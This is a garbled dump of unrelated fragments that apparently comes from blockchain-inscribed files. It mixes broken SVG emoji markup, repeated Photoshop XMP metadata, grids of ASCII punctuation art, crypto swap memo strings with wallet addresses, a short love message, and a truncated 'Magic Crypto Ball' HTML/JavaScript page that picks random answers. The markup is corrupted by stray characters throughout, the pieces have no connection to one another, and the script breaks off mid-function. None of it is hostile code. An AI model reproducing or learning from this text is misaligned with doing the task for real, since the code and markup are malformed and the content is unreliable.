="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M49.7251,46.13c-1.79,4.27-6.35,7.23-13.69,7.23-7.41,0-12.03-3.03-13.8-7.36C24.2951,46.47,37.235,49.16,49.7251,46.13Z"/>
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <path fill="#FCEA2B" d="M36,13c-12.6823,0-23,10.3177-23,23c0,12.6822,10.3177,23,23,23c12.6822,0,23-10.3178,23-23 C59,23.3177,48.6822,13,36,13z"/>
  <g id="skin-shadow"/>
    <circle cx="36" cy="36" r="23" fill="none" stroke="#000000" stroke-miterlimit="10" stroke-width="2"/>
    <line x1="27" x2="45" y1="43" y2="43" fill="none" stroke="#000000" stroke-linecap="round" M
stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <line x1="25" x2="30" y1="31" y2="31" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <line x1="43" x2="48" y1="31" y2="31" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
((((((((((((((((((((((((((((((((((((((((((((((((((
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
  <g id="line-supplement">
    <path d="M36.2846,57.9425c2.897,0,5.245-2.927,5.245-6.538s-2.348-6.538-5.245-6.538-5.245,2.927-5.245,6.538S33.3876,57.9425,36.2846,57.9425Z"/>
    <path fill="#f1b31c" d="M17.2846,26.1925a10.6967,10.6967,0,0,0,5.137,1.433c.3128.0126.5667.13.6266.2943.9175,2.513,5.149,4.402,10.15,4.402a14.942,14.942,0,0,0,8.0311-2.036,1.0485,1.0485,0,0,1,.7576-.1169,10.6155,10.6155,0,0,0,2.3479.2412c3.232,0,M
5.8851-1.316,6.161-2.994.0263-.16.2686-.29.5681-.3069a9.6243,9.6243,0,0,0,3.9621-1.045,46.1232,46.1232,0,0,0-37.74.128Z"/>
    <path fill="#fcea2b" d="M36.2846,62.0125a23.004,23.004,0,0,0,18.936-36.06,9.4731,9.4731,0,0,1-4.168,1.16c-.2995.0171-.5418.1467-.5681.3069-.2753,1.678-2.929,2.994-6.1609,2.994a10.6158,10.6158,0,0,1-2.348-.2412,1.0481,1.0481,0,0,0-.7575.1169,14.9416,14.9416,0,0,1-8.031,2.036c-5.003,0-9.235-1.889-10.15-4.402-.06-.1643-.3137-.2817-.6266-.2943a10.6483,10.6483,0,0,1-5.199-1.472,22.9993,22.9993,0M
,0,0,19.075,35.85Z"/>
    <path d="M36.2846,57.9425c2.897,0,5.245-2.927,5.245-6.538s-2.348-6.538-5.245-6.538-5.245,2.927-5.245,6.538S33.3876,57.9425,36.2846,57.9425Z"/>
    <path fill="#fff" d="M23.2646,15.3825c-.0241.14-.2461.2536-.5208.2685-3.348.1819-5.924,1.861-5.924,3.904,0,2.165,2.948,3.92,6.585,3.92h.4921a8.3244,8.3244,0,0,1,1.942,2.698,21.4379,21.4379,0,0,1,1.197,4.668c.0272.158.0528.3059.077.4416a17.2563,17.2563,0,0,0,6.071,1.038,14.9416,14.9416,0,0,0,8.031-2.036,1.0487,1.0487,0,0,1,.7575-.1169,10.6169,10.M
6169,0,0,0,2.348.2413,11.5324,11.5324,0,0,0,1.294-.072,19.4024,19.4024,0,0,1,1.11-4.164,8.331,8.331,0,0,1,1.942-2.698h-.1525c3.993-.0015,7.229-1.856,7.229-4.142,0-2.193-2.976-3.988-6.741-4.133-.2868-.0111-.52-.1138-.5744-.2576-.841-2.199-4.72-3.852-9.307-3.852a14.1982,14.1982,0,0,0-7.362,1.782,1.0008,1.0008,0,0,1-.6945.1023,10.1768,10.1768,0,0,0-2.152-.2111c-2.963,0-5.395,1.152-5.648,2.619Z"/>
    <path d="M48.2846,38.0125a3,3,0,1,1-3-3A3.0011,3.0011,0,0,1,48.2846,38.0125Z"/>
.2846,38.0125a3,3,0,1,1-3-3A3.0011,3.0011,0,0,1,30.2846,38.0125Z"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M36.2846,62.0125a23.004,23.004,0,0,0,18.936-36.06,9.4745,9.4745,0,0,1-4.168,1.16c-.2995.0171-.5418.1467-.5681.3069-.2753,1.678-2.929,2.994-6.1609,2.994a10.6158,10.6158,0,0,1-2.348-.2412,1.0481,1.0481,0,0,0-.7575.1169,14.9416,14.9416,0,0,1-8.031,2.036c-5.003,0-9.235-1.889-10.15-4.402-.06-.1643-.3137-.2817-.6266-.2943a10.6483,10.6483,0,0,1-5.199-1.4M
72,22.9993,22.9993,0,0,0,19.075,35.85Z"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M36.2846,57.9425c2.897,0,5.245-2.927,5.245-6.538s-2.348-6.538-5.245-6.538-5.245,2.927-5.245,6.538S33.3876,57.9425,36.2846,57.9425Z"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M23.2646,15.3825c-.0241.14-.2461.2536-.5208.2685-3.348.1819-5.924,1.861-5.924,3.904,0,2.165,2.948,3.92,6.585,3.92h.4921a8.3244,8.3244,0,0,M
1,1.942,2.698,21.4379,21.4379,0,0,1,1.197,4.668c.0272.158.0528.3059.077.4416a17.2563,17.2563,0,0,0,6.071,1.038,14.9416,14.9416,0,0,0,8.031-2.036,1.0487,1.0487,0,0,1,.7575-.1169,10.6169,10.6169,0,0,0,2.348.2413,11.5324,11.5324,0,0,0,1.294-.072,19.4024,19.4024,0,0,1,1.11-4.164,8.331,8.331,0,0,1,1.942-2.698h-.1525c3.993-.0015,7.229-1.856,7.229-4.142,0-2.193-2.976-3.988-6.741-4.133-.2868-.0111-.52-.1138-.5744-.2576-.841-2.199-4.72-3.852-9.307-3.852a14.1982,14.1982,0,0,0-7.362,1.782,1.0008,1.0008,0,0,1-.6945.1023,10.176M
8,10.1768,0,0,0-2.152-.2111c-2.963,0-5.395,1.152-5.648,2.619Z"/>
    <path fill="none" stroke="#000" stroke-width="2" d="M23.7846,23.5925a17.6584,17.6584,0,0,0-6.5,2.5"/>
    <path fill="none" stroke="#000" stroke-width="2" d="M48.2846,23.5925a19.3387,19.3387,0,0,1,7,2.5"/>
    <path fill="none" stroke="#000" stroke-linejoin="round" stroke-width="2" d="M23.9046,23.4825c2.064.59,6.546,1.062,7.962-1.769,2.1231,2.123,7.077,1.474,8.846,0,.8847,1.769,4.423,3.185,7.962,1.769"/>
((((((((((((((((((((((((((((((((((((((((((((((((((
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:930338E8AA2111ED9030FEAADFACFE8A" xmpMM:InstanceID="xmp.iid:930338E7AA2111ED9030FEAADFACFE8A" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5b588711-b116-814c-91d5-351258d52ed1" stRef:documentID="adobe:docid:photoshop:a1abe87c-c128-284f-beb5-9705e8f093f5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
((((((((((((((((((((((((((((((((((((((((((((((((((
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <path fill="#FCEA2B" d="M36,13c-12.7025,0-23,10.2975-23,23s10.2975,23,23,23s23-10.2975,23-23 C58.9857,23.3034,48.6966,13.0143,36,13z"/>
    <path fill="#FFFFFF" d="M44.5,49.2708h-17c-2.2064-0.0065-3.9935-1.7936-4-4l0,0c0.0065-2.2064,1.7936-3.9935,4-4h17 c2.2064,0.0065,3.9935,1.7936,4,4l0,0C48.4935,47.4772,46.7064,49.2643,44.5,49.2708z"/>
    <line x1="28" x2="28" y1="41.7708" y2="48.7708" fill="none" M
stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <line x1="33" x2="33" y1="41.7708" y2="48.7708" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <line x1="38" x2="38" y1="41.7708" y2="48.7708" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <line x1="43" x2="43" y1="41.7708" y2="48.7708" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2M
    <circle cx="36" cy="36" r="23" fill="none" stroke="#000000" stroke-miterlimit="10" stroke-width="2"/>
    <path fill="none" stroke="#000000" stroke-miterlimit="2" stroke-width="2" d="M44.5,49.2708h-17c-2.2064-0.0065-3.9935-1.7936-4-4 l0,0c0.0065-2.2064,1.7936-3.9935,4-4h17c2.2064,0.0065,3.9935,1.7936,4,4l0,0C48.4935,47.4772,46.7064,49.2643,44.5,49.2708z"/>
    <path d="M30,31c0,1.6568-1.3448,3-3,3c-1.6553,0-3-1.3433-3-3c0-1.6552,1.3447-3,3-3C28.6552,28,30,29.3448,30,31"/>
    <path d="M48,31c0,1.6568-1.3447LM,3-3,3s-3-1.3433-3-3c0-1.6552,1.3447-3,3-3S48,29.3448,48,31"/>
text/plain;charset=utf-8
<?xml version="1.0" encoding="UTF-8"?>
<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1 1">
  <rect class="cls-1" width="1" height="1"/>
  <polygon points="1 0 0 0 0 1 1 1 1 0 1 0"/>
Bj@=:ETH.ETH:0x5a5f11EC5B899a0094850567a2d1b2253f641BA5:10921364::0
text/plain;charset=utf-8
.+...+..-++.-++.|--.||-.||-..|....|..-||.-||.--|.++-.++-..+...+.
+.++--||+--||........+.++--||.|..|.||--++.+........||--+||--++.+
.+.+|-|.|.....-.-|......+.+-.||..||.-+.+......|-.-.....|.|-|+.+.
.++-|......+|.....+|+-|....+-|....|-+....|-+|+.....|+......|-++.
.-||.....|.....++....++-....+--||--+....-++....++.....|.....||-.
+--...+--...+--..--|...--|...--||--...|--...|--..--+...--+...--+
.||..++...-|...+||.+-....--.++||||++.--....-+.||+...|-...++..||.
.|...-...+|..+|.+.|...-...-..++..++..-...-...|.+.|+..|+...-...|.
-+|..-..+|..-..+|..+|..-..+|..-..-..|+..-..|+..|+..-..|+..-..|+-
+-..|..+|.+|.....-|.-|.....-|+-||-+|-.....|-.|-.....|+.|+..|..-+
+-....-|.+|..-.+...|.-|.+-.+........+.-+.|-.|...+.-..|+.|-....-+
.|.+..|..|.+..-..-..|.+..-..|.+..+.|..-..+.|..-..-..+.|..|..+.|.
-|.|.+..-......+..|..|.-.--.-.+..+.-.--.-.|..|..+......-..+.|.|-
+....-.+..-...-.+..-.+..|.-..|.--.|..-.|..+.-..+.-...-..+.-....+
+.-..-.|...-.-.+|+|.+.-.|.+|+..--..+|+.|.-.+.|+|+.-.-...|.-..-.+
....+.+.+.+.+.+.+.+.+-.-.-.-.-.--.-.-.-.-.-+.+.+.+.+.+.+.+.+....
|.-.+.|+|....+|+...+.+.|.-.+.|.||.|.+.-.|.+.+...+|+....|+|.+.-.|
-.|..-|..-.-..+...+.-.|..+...+.||.+...+..|.-.+...+..-.-..|-..|.-
-..+.-.|.|..|.|+.+..+.+.-.-..-.--.-..-.-.+.+..+.+|.|..|.|.-.+..-
...|.|+.+.|..-..+....|.|-.-+.+.||.+.+-.-|.|....+..-..|.+.+|.|...
|..+..-.|-.|..++.-+.-....-+.|+.||.+|.+-....-.+-.++..|.-|.-..+..|
|+.-+....|-.|+.-+..|..-+|-..+..||..+..-|+-..|..+-.+|.-|....+-.+|
-..|+..-..|+..-..|+..-..|+..-..||..-..+|..-..+|..-..+|..-..+|..-
.+..--..-...-..-|..|.+.-+.||+.|++|.+||.+-.+.|..|-..-...-..--..+.
|++..-....+..||...--.||++.--..|++|..--.++||.--...||..+....-..++|
|-...|-...---..--+..--+...-+...++...+-...+--..+--..---...-|...-|
--+...--+...--+...--+..|--...|----|...--|..+--...+--...+--...+--
.|-+....|-+...|-+..+...|-+...|-++-|...+-|...+..+-|...+-|....+-|.
.|.-+.+..|.|-.+.....|+-+.....-|++|-.....+-+|.....+.-|.|..+.+-.|.
|.||--++.+...|.-|+-++.....||-|+--+|-||.....++-+|-.|...+.++--||.|
.||.--|+--.++..........||.--|++--++|--.||..........++.--+|--.||.
....|||..|...---||-||||+++-++------++-+++||||-||---...|..|||....
.......................+++.++......++.+++.......................
.......+..-++|--.||-.........++..++.........-||.--|++-..+.......
......++-+.......+.++--|-.....+..+.....-|--++.+.......+-++......
....+|+|.....-+-|....+.+-.|....++....|.-+.+....|-+-.....|+|+....
...+-|....+-|...+-|+-....+-|...++...|-+....-+|-+...|-+....|-+...
..+-||..+-||..+-||..+-|...--|......|--...|-+..||-+..||-+..||-+..
..|-|..||....|...+|...+....+...++...+....+...|+...|....||..|-|..
.++...-|..+|...-....|..++...--.++.--...++..|....-...|+..|-...++.
.+-...|..--..-...-..-+..+...+|.++.|+...+..+-..-...-..--..|...-+.
.-..+|..-..+-..-..+|..-..+|..-....-..|+..-..|+..-..-+..-..|+..-.
.+|.+..-.....+|.+|..|..+..-.+-....-+.-..+..|..|+.|+.....-..+.|+.
.|.+-..-....-.++|.+..|.-|.+-.+....+.-+.|-.|..+.|++.-....-..-+.|.
.-..|.+.+-.-|.|.+..-..|....+.+-..-+.+....|..-..+.|.|-.-+.+.|..-.
...+....|.-|.|.+.+..+.+..|.|..|..|..|.|..+.+..+.+.|.|-.|....+...
.|.-...-..|.|.+.|.+..|.-.+|-.+|..|+.-|+.-.|..+.|.+.|.|..-...-.|.
...|+|.+.|.|.+.+.|.+|+....|+|......|+|....+|+.|.+.+.|.|.+.|+|...
-.-.+.+.+.+.+.+.+.+.+.-.-.-.-.-..-.-.-.-.-.+.+.+.+.+.+.+.+.+.-.-
+...-.-.|.|....+.+.|+|....+.+.-..-.+.+....|+|.+.+....|.|.-.-...+
+.-.|..+.|...-..+.|..+.-.|..-.|..|.-..|.-.+..|.+..-...|.+..|.-.+
..|..+....-.-..+.|.|-.-....|..+..+..|....-.-|.|.+..-.-....+..|..
-.-+.|.|-.-+....|.|-..+.|.|-..+..+..-|.|.+..-|.|....+-.-|.|.+-.-
+.|-.|...+.--.|+.|-....-+.|+..-..-..+|.+-....-|.+|.--.+...|.-|.+
+..|..|+.-+..|..|..-...-..-..+....+..-..-...-..|..|..+-.+|..|..+
.+..-..|+..-..|+..|+..-..|+..-....-..+|..-..+|..+|..-..+|..-..+.
-..-|..||+.|.+..+-..--..||..|++..++|..||..--..-+..+.|.+||..|-..-
-..||++..|....-+...+...|-...++....++...-|...+...+-....|..++||..-
+.....+...||+...|.....|...|||......|||...|.....|...+||...+.....+
|.....||-....|-++..|-++..||-+......+-||..++-|..++-|....-||.....|
-++...|-.|-+....|-+.+....--+........+--....+.+-|....+-|.-|...++-
-+-+......|-|-.-.....|.-+|+..........+|+-.|.....-.-|-|......+-+-
+-++....+........|.-|+-++..............++-+|-.|........+....++-+
|+--|+--.++-.++-................................-++.-++.--+|--+|
text/plain;charset=utf-8
......|..-..+...|..+..-..+...|..-..+............|............|..
.....+..+.....+..-..|.........+.....+..+..-.........+........+..
...++-.|.............+.-+||..............+.|-.|..............-+|
..+....|.+..|.|....|.-....-.-....-......+......+...........|....
..+...|+...|+........-....|....|....+....-....-...-....-....|...
.+-....+|....+|.....|.....|.....|.....|.....-...................
|...|......+.|.-.|......+...-.|......+...+............+.|.......
..||++........--........||..........++........--........||......
.+...|...|..-...|......|..+...+..........-..+...+...|..-...-....
-..+....|..-..+..|..-..+....|..-..-..+................|..+......
..............................++..--+||--..||...................
....|.+..-....|....+.......|.+..|......+..-....|....-..|......+.
+..|+...-...+...-...|+.......+...-...|+.......+...-.............
.....+|......+-......+|.....-.......+|.....-.......-.......-....
.+.|.|.-.+.|.-.-.....|.....|.|..................................
......--......--......-.......|+......|++......+.......+.......|
|.......|...-.......|...-...|...|...+...|...|...+...|...-...+...
.-....|..|.......-....-....|..+....-..-....|.......+....-..-.|..
................................................................
+..|.......+.......+..-.....|.+.....-..|.......|.....|.+..-..-..
.|...|...-..|...|...-...-..|...|...-......|...|...-..|.......|..
..+--.......++|.......--|......+.-........+|........-.........-.
-............|.-.-.-.-............-.-.-.-..............-.+.-.+..
..-.....|+...........-.....|+.....|......-.....|+....-......+...
..+...+|........-...-|...+...+-........-....|...+...+-........+.
+.|....|................+......|..+.-....-....-.|..+.|....|.....
..|-||..+.................||||+.+.................||.|+.++......
...........|..|..|..|..|..|..-..-..-..-..-..-..+..+..+..+..+..+.
...-..-..|...-..|..|...+..|...+.....-......-..-......-.........+
|..........++.|.........+.|-..........+.|-...........--.........
.+....|.+.+....|.+.+....-.+.+....-........-........-........-...
....|....-+....+....|+...|.....|....-+.........|....|.....|....-
-....|.....|....|.........+-....|.....|...+|....+....+-....|....
...-........-........-........-....+.+.-....+.+.|....+.+.|....+.
.........--...........-|.+..........-|.+.........|.++..........|
+.........-......-..-......-.....+...|..+...|..|..-...|..-..-...
.+..+..+..+..+..+..-..-..-..-..-..-..|..|..|..|..|..|...........
......++.+|.||.................+.+||||.................+..||-|..
.....|....|.+..|.-....-....-.+..|......+................|....|.+
.+........-+...+...|....-........-+...+...|-...-........|+...+..
...+......-....+|.....-......|.....+|.....-...........+|.....-..
..+.-.+.-..............-.-.-.-............-.-.-.-.|............-
.-.........-........|+........-.+......|--.......|++.......--+..
..|.......|..-...|...|......-...|...|..-...-...|...|..-...|...|.
..-..-..+.|.....|.......|..-.....+.|.....-..+.......+.......|..+
................................................................
..|.-..-....+.......|....-..-....+..|....-....-.......|..|....-.
...+...-...|...+...|...|...+...|...|...-...|.......-...|.......|
|.......+.......+......++|......+|.......-......--......--......
..................................|.|.....|.....-.-.|.+.-.|.|.+.
....-.......-.......-.....|+.......-.....|+......-+......|+.....
.............-...+.......+|...-...+.......+|...-...+...-...+|..+
.+......|..-....|....-..+......|..+.|.......+....|....-..+.|....
...................||..--||+--..++..............................
......+..|................+..-..-..|....+..-..|..+..-..|....+..-
....-...-..|...+...+..-..........+...+..|......|...-..|...|...+.
......||........--........++..........||........--........++||..
.......|.+............+...+......|.-...+......|.-.|.+......|...|
...................-.....|.....|.....|.....|.....|+....|+....-+.
...|....-....-...-....-....+....|....|....-........+|...+|...+..
....|...........+......+......-....-.-....-.|....|.|..+.|....+..
|+-..............|.-|.+..............||+-.+.............|.-++...
..+........+.........-..+..+.....+.........|..-..+.....+..+.....
..|............|............+..-..|...+..-..+..|...+..-..|......
CjA=:BNB.BNB:bnb1dzcq4vkfmglnkrghh9auv5sgvx55yp6m6jj7yu:5494645:te:0
CjA=:BNB.BNB:bnb1dy34crysgdv4r5j4mzvrzqcmtwmht5j6c9epgt:6193640:te:0
text/plain;charset=utf-8
FjD=:BNB.ETH-1C9:bnb1wr4v0r4rc7l2gtl526lftmx5nn97dfkrlwymr3:363326:te:0
text/plain;charset=utf-8
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0061/4096 0,2,3,0,1 ~0.6039799000136554-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#9296A0" width="100%" height="100%"/>
<polyline fill="#52F6A8" points="0,8 5,4 5,4 0,0 "/>
<polyline fill="#F652A0" points="8,0 2,2 2,4 8,8 "/>
<polyline fill="#F2F652" points="8,8 2,4 3,4 0,8 "/>
<polyline fill="#52F6A8" points="0,0 6,2 6,3 8,0 "/>
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3f, 2021/11/14-12:30:42        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/M
1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.1 (Windows)" xmp:CreateDate="2023-02-10T14:33:20+01:00" xmp:ModifyDate="2023-02-13T11:48:40+01:00" xmp:MetadataDate="2023-02-13T11:48:40+01:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:4006aac5-e6ba-7f4a-bca1-44019326e090" xmpMM:DocumentID="xmp.did:4006aac5-e6ba-7f4a-bca1-44019326e090" xmpMM:OriginalDocumentID="xmp.did:4006aac5-e6ba-7f4a-bca1-44019326e090"> <xmpMM:History> <rdf:M
Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:4006aac5-e6ba-7f4a-bca1-44019326e090" stEvt:when="2023-02-10T14:33:20+01:00" stEvt:softwareAgent="Adobe Photoshop 23.1 (Windows)"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
2022-03-09T03:23:22+00:00
2022-03-09T03:23:22+00:00
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3f, 2021/11/14-12:30:42        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/M
1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.1 (Windows)" xmp:CreateDate="2023-02-10T14:30:58+01:00" xmp:ModifyDate="2023-02-13T11:48:56+01:00" xmp:MetadataDate="2023-02-13T11:48:56+01:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:5e51d708-3f70-ca45-afa7-d10296cf0a5d" xmpMM:DocumentID="xmp.did:5e51d708-3f70-ca45-afa7-d10296cf0a5d" xmpMM:OriginalDocumentID="xmp.did:5e51d708-3f70-ca45-afa7-d10296cf0a5d"> <xmpMM:History> <rdf:M
Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:5e51d708-3f70-ca45-afa7-d10296cf0a5d" stEvt:when="2023-02-10T14:30:58+01:00" stEvt:softwareAgent="Adobe Photoshop 23.1 (Windows)"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>f
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3f, 2021/11/14-12:30:42        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/M
1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.1 (Windows)" xmp:CreateDate="2023-02-10T14:31:42+01:00" xmp:ModifyDate="2023-02-13T11:48:46+01:00" xmp:MetadataDate="2023-02-13T11:48:46+01:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:81fc6655-0f3d-2a4e-a68c-f751b4eee0d8" xmpMM:DocumentID="xmp.did:81fc6655-0f3d-2a4e-a68c-f751b4eee0d8" xmpMM:OriginalDocumentID="xmp.did:81fc6655-0f3d-2a4e-a68c-f751b4eee0d8"> <xmpMM:History> <rdf:M
Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:81fc6655-0f3d-2a4e-a68c-f751b4eee0d8" stEvt:when="2023-02-10T14:31:42+01:00" stEvt:softwareAgent="Adobe Photoshop 23.1 (Windows)"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
matplotlib version3.2.2, http://matplotlib.org/
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3f, 2021/11/14-12:30:42        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/M
1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.1 (Windows)" xmp:CreateDate="2023-02-10T14:31:53+01:00" xmp:ModifyDate="2023-02-13T11:48:37+01:00" xmp:MetadataDate="2023-02-13T11:48:37+01:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:b28c9281-05b8-7a42-9a01-c30352299b6d" xmpMM:DocumentID="xmp.did:b28c9281-05b8-7a42-9a01-c30352299b6d" xmpMM:OriginalDocumentID="xmp.did:b28c9281-05b8-7a42-9a01-c30352299b6d"> <xmpMM:History> <rdf:M
Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:b28c9281-05b8-7a42-9a01-c30352299b6d" stEvt:when="2023-02-10T14:31:53+01:00" stEvt:softwareAgent="Adobe Photoshop 23.1 (Windows)"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3f, 2021/11/14-12:30:42        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/M
1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.1 (Windows)" xmp:CreateDate="2023-02-10T14:32:06+01:00" xmp:ModifyDate="2023-02-13T11:48:42+01:00" xmp:MetadataDate="2023-02-13T11:48:42+01:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:625b32b0-970e-334c-be95-f363acfc2376" xmpMM:DocumentID="xmp.did:625b32b0-970e-334c-be95-f363acfc2376" xmpMM:OriginalDocumentID="xmp.did:625b32b0-970e-334c-be95-f363acfc2376"> <xmpMM:History> <rdf:M
Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:625b32b0-970e-334c-be95-f363acfc2376" stEvt:when="2023-02-10T14:32:06+01:00" stEvt:softwareAgent="Adobe Photoshop 23.1 (Windows)"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
FjDOUT:4A78AE815D3DC9053902B3A4094E8448A2A8690C179FF54D3A853FAD097992B1
OpppLLL999dddTTTF^6E
2022-03-09T01:46:19+00:00e
2022-03-09T01:46:19+00:00
text/plain;charset=utf-8
I LOVE YOU TO THE MOON AND BACKh!
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
